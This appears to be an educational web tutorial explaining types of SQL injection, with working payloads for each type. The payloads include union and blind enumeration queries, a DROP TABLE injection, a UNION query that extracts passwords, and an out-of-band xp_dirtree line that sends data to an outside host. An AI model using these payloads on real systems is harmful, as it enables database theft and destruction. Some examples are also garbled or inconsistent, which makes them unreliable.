SQL injection usually occurs when we ask a user for input, like their userid/userName, or retrieve hidden data, we want to modify an SQL query to return additional results.
What is SQL injection?
SQL injection, also known as SQLI, is a code injection technique that might destroy our database. It is the most common web hacking technique.
SQL injection is a common attack vector that uses malicious SQL server code for backend database manipulation to access information that was not intended to be displayed. This information may include any number of items, including case-sensitive company information or data, user lists, or private employee information details.
The impact SQL injection can have on a business is far-reaching. A successful hacker may result in the unauthorized viewing of user lists, the eraser or deletion of all records from tables, and, in certain cases, the hacker gaining administrative rights to a database, all of which are highly detrimental to a business.
When calculating the potential cost of an SQLi, it’s important to consider the loss of customer trust should personal details like email ID, address, phone numbers, and credit card details or many more be stolen.
While this vector can be used to attack any SQL server database, the websites are the most frequent targets.
SQL in Web Pages
SQL injection usually occurs when we ask a user for input, like their UserID/UserName, and instead of a name/ID so one, the user gives us an SQL statement that we will unknowingly run on our database.
Look at the given below example which creates a SELECT statement by adding a variable (inputUserId) to a select string. The variable is fetched from user input(fromUserInput).
Example
inputUserId = fromUserInput;
queryRequest= "SELECT * FROM Users WHERE UserId = " + inputUserId ;
What are SQL queries?
SQL is a standardized language which is to access and manipulates databases to build customizable data views for each user. SQL queries are used to execute commands, such as retrieval, updates, and record removal data from the SQL server. Different SQL elements implement these tasks, for example, queries using the SELECT statement to retrieve data, based on user request parameters.
A typical StoreInfo SQL database query may look like the following:
SELECT ItemName, ItemDetails
FROM Stock
WHERE ItemId= requestItemId
From this, the web application builds a string query that is sent to the database as a single SQL statement.
resultQuery= "
SELECT ItemName, ItemDetails
FROM Stock
WHERE ItemId= " &Request.QueryString("ItemId")
A user-request input http://www.storeinfo.com/item/itemId?=19can then generates the following SQL query:
SELECT ItemName, ItemDetails
FROM Stock
WHERE ItemId= 19
Types of SQL Injections
SQL injections typically fall under three categories as given below
- In-band SQLi (Classic)
- Inferential SQLi (Blind)
- Out-of-band SQLi.
We can classify SQL injection types based on the methods they use to access backend data and their damage potential.
What is in-band SQL injection?
In-band SQL injection also called classic SQL injection which is a specific type of SQL injection. The term in-band means that the hacker/attacker receives the result as a direct response using the same communication network channel. For eg, if the attacker performs the attack manually from a web browser, the result of the attack will be displayed in the same web browser. In-band SQLi’s simplicity and efficiency make it one of the most common types of SQLi attacks. There are two sub-variations of this method which are given below.
Example of in-band SQL injection
The simplest type of in-band SQL injection is when the attacker can modify the original query and receive the direct results of the modified query. As an example, let’s assume that the given query is meant to return the personal information of the current user and display it on-screen.
SELECT * FROM UserInfo WHERE UserId LIKE 'currentUser'
If this query is executed in the application using simple string concatenation, a malicious hacker can provide the following currentUser:
%'--
As a result, the query string sent to the SQL database will become:
SELECT * FROM UserInfo WHERE userId LIKE '%'--'
The single ('') quote completes the SQL statement and the double dash (–) means that the rest of the line is treated as a comment. Therefore, the application executes the given query:
SELECT * FROM UserInfo WHERE UserId LIKE '%'
The percent sign in SQL is a wildcard, so as a result of the attack, the application will display the content of the entire user's table (personal information), not just a single user row record.
There are two sub-variations of this method:
- Error-based SQLi
- Union-based SQLi
What is error-based SQL injection?
the attacker performs actions that cause the SQL database to produce error messages. The attacker may use the data provided by these error messages to gather information about the structure of the SQL database.
Consequences of error-based SQL injection
Returning an error string to an attacker may seem harmless. Whatever, depending on the structure of the application and the type of the SQL database, the attacker can use the received error string to:
- Get information about the type and version of the SQL database to use different types of attack techniques for a specific SQL database type/version.
- Get information about the structure of the SQL database to try more specific SQL injections once the structure is known.
- Get data out of the SQL database. While the process is much longer and more complex than directly displaying the result of a query, an attacker can manipulate the errors to exfiltrate data from the SQL database.
Example of error-based SQL injection
SELECT * FROM UserInfo WHERE UserId= 'currentUser'
A malicious hacker may provide the give currentUser value:
2'
As a result, the query becomes:
SELECT * FROM UserInfo WHERE UserId= '2''
The doubled single quote at the end of the query causes the SQL database to report an error. If the webserver is configured to display errors on screen, the attacker may see a message such as the given below:
You have an error in your SQL syntax; check the manual that corresponds to your SQL server version for the right syntax to use near "' at line 2
Warning: sql_fetch_array() expects parameter 2 to be resource
What is union-based SQL injection?
This is a subtype of in-band SQL injection where the attacker uses the UNION SQL clause to receive a result that combines legitimate information with sensitive data which fuses multiple select statements generated by the database to get a single HTTP response.
Consequences of union-based SQL injection
The attacker directly obtains almost any information from the SQL database so the most dangerous type of SQL injection because it lets
Example of union-based SQL injection
SELECT * FROM UserInfo WHERE UserId= 'currentUser'
A malicious hacker may provide the following currentUser:
-2' UNION SELECT version(),currentUser()--'
As a result, the query becomes:
SELECT * FROM UserInfo WHERE UserId= '-2' UNION SELECT version(),currentUser()--'
The version and currentUser functions in SQL return the SQL database version and the name of the current operating system user.
What is blind (Inferential) SQL injection?
Blind SQL injection, also known as inferential SQL injection, is a specific type of SQL injection. The term blind means that the attacker does not receive an obvious response attacked from the SQL database and instead reconstructs the SQL database structure step-by-step by observing the behavior of the database server and the application.
There are two types of blind SQL injections as given below.
- Boolean-based
- time-based
Consequences of blind SQL injection
Performing an attack using blind SQL injections takes much longer than in the case of in-band SQL injections but can yield the same results. Based on the behavior of the database in SQL Server and the application, the attacker can do the following:
- Check if other types of SQL injections are possible
- Get information about the structure of the SQL database
- Get data out of the SQL database
What is boolean-based blind SQL injection?
Boolean-based blind SQL injection is a subtype of blind SQL injection where the attacker observes the behavior of the database in the SQL server and the application after combining legitimate queries with malicious data using boolean operators.
Example of boolean-based blind SQL injection
For example, let’s assume that the given query is meant to display details of a ProductInfo from the SQL database.
SELECT * FROM ProductInfo WHERE ProductInId= productId
At first, a malicious attacker uses the application in a legitimate way to discover at least one existing product Id– in this example, it’s product 11. Then, they can provide the following two values for productId:
11 AND 1=1
11 AND 1=0If the given query is executed in the application using simple string concatenation, the query becomes respectively:
SELECT * FROM ProductInfo WHERE ProductId= 11 and 1=1
SELECT * FROM ProductInfo WHERE ProductId= 11 and 1=0
If the application behaves differently in each case, it is susceptible to boolean-based blind SQL injections.
If the SQL database server is Microsoft SQL Server, the attacker can now supply the following value for productId:
11 AND (SELECT TOP 1 substring(Name, 1, 1)
FROM sysobjects
WHERE id=(SELECT TOP 1 id
FROM (SELECT TOP 1 id
FROM sysobjects
ORDER BY id)
AS subquery
ORDER BY id DESC)) = 'D'
As a result, the sub-query in parentheses after 11 AND checks whether the Name of the first table in the SQL database starts with the letter a. If true, the application will behave the same as for the payload 11 AND 1=1. If false, the application will behave the same as for the payload 11 AND 1=0.
The hacker can iterate through all letters and then go on to the second letter, third letter, fourth letter, etc. As a result, the hacker can discover the full name of the first table in the SQL database structure. They can then try to get more data information about the structure of this table and finally – extract data from the table. While this example is specific to SQL Server, similar techniques exist for other SQL database types.
What is time-based SQL injection?
Time-based blind SQL injection is a subtype of blind SQL injection where the hacker observes the behavior of the SQL database server and the application after combining legitimate queries with SQL commands that cause time delays.
Example of time-based blind SQL injection
Let’s say you have the same query as in the example above:
SELECT * FROM ProductInfo WHERE ProductId= productId
A malicious attacker may provide the following productId value:
11; WAITFOR DELAY '0:0:9'
As a result, the query becomes:
SELECT * FROM ProductInfo WHERE ProductId= 1; WAITFOR DELAY '0:0:9'
If the SQL database server is MS SQL Server and the application is susceptible to time-based blind SQL injections, the hacker will see a 9-second delay in the application.
Now that the hacker knows that time-based blind SQL injections are possible, they can provide the following productId:
11; IF(EXISTS(SELECT TOP 1 *
FROM sysobjects
WHERE id=(SELECT TOP 1 id
FROM (SELECT TOP 1 id
FROM sysobjects
ORDER BY id)
AS subquery
ORDER BY id DESC)
AND ascii(lower(substring(name, 1, 1))) = 'D'))
WAITFOR DELAY '0:0:9'
If the name of the first table in the SQL database structure begins with the letter a, the second part of this query will be true, and the application will react with a 9-second delay. Just like for boolean-based blind SQL injections given above, the hacker can use this method repeatedly to discover the name of the first table in the SQL database structure, then try to get more data information about the table structure of this table, and finally extract SQL data from the table.
What is out-of-band SQL injection?
Out-of-band SQL injection (OOB SQLi) is a specific type of SQL injection. The term out-of-band means that the hacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data information to a remote endpoint that they control.
Out-of-band SQL injection is only possible if the SQL server that we are using has commands that trigger DNS or HTTP requests. However, that is the case with all popular SQL servers.
Example of out-of-band SQL injection in MS SQL
The given below SQL query achieves the same result as above (but without the password) if the application is using an MS SQL database:
DECLARE @first VARCHAR(800);
DECLARE @second VARCHAR(800);
SELECT @first = (SELECT systemUser);
SELECT @second = (SELECT DBName());
EXEC('master..xp_dirtree"\\'[email protected]+''+'.'+''[email protected]+'example.com\demoTest$"');
SQL injection example
A hacker wishing to execute SQL injection manipulates a standard SQL query to exploit non-validated input vulnerabilities in a SQL database. There are many ways that this hacker vector can be executed, several of which will be shown here to provide us with a general idea about how SQLI works.
For example, the given above-mentioned input, which pulls information for a specific ProductInfo, can be altered to read http://www.stock.com/items/itemid?=12 or 1=1.
As a result, the corresponding SQL query like as given below:
SELECT ItemName, ItemDetails
FROM ProductInfo
WHERE ItemId= 12 OR 1=1
And since the statement 1 = 1 is always true, the query returns all of the product names and descriptions in the SQL database, even those that we may not be eligible to access.
Attackers are also can take advantage of incorrectly filtered characters to alter SQL commands, including using a semicolon(;) to separate two fields.
For example, this input http://www.stock.com/items/ItemId?=12; DROP TABLE Users would generate the given SQL query:
SELECT ItemName, ItemDetails
FROM Stock
WHERE ItemId= 12; DROP TABLE USERS
As a result, the entire user SQL database could be deleted.
Another way to queries can be manipulated is with a UNION SELECT statement in an SQL server. This combines two unrelated SELECT queries to retrieve data from different SQL database tables.
For example, the input http://www.stock.com/items/ItemId?=12 UNION SELECT UserName, Password FROM USERS produces the given SQL query:
SELECT ItemName, ItemDetails
FROM Stock
WHERE ItemId= '12' UNION SELECT UserName, Password FROM Users;
Using the UNION SELECT statement in SQL Server, this query combines the request for item 12’s name and description with another that pulls Names and Passwords for every user in the SQL database.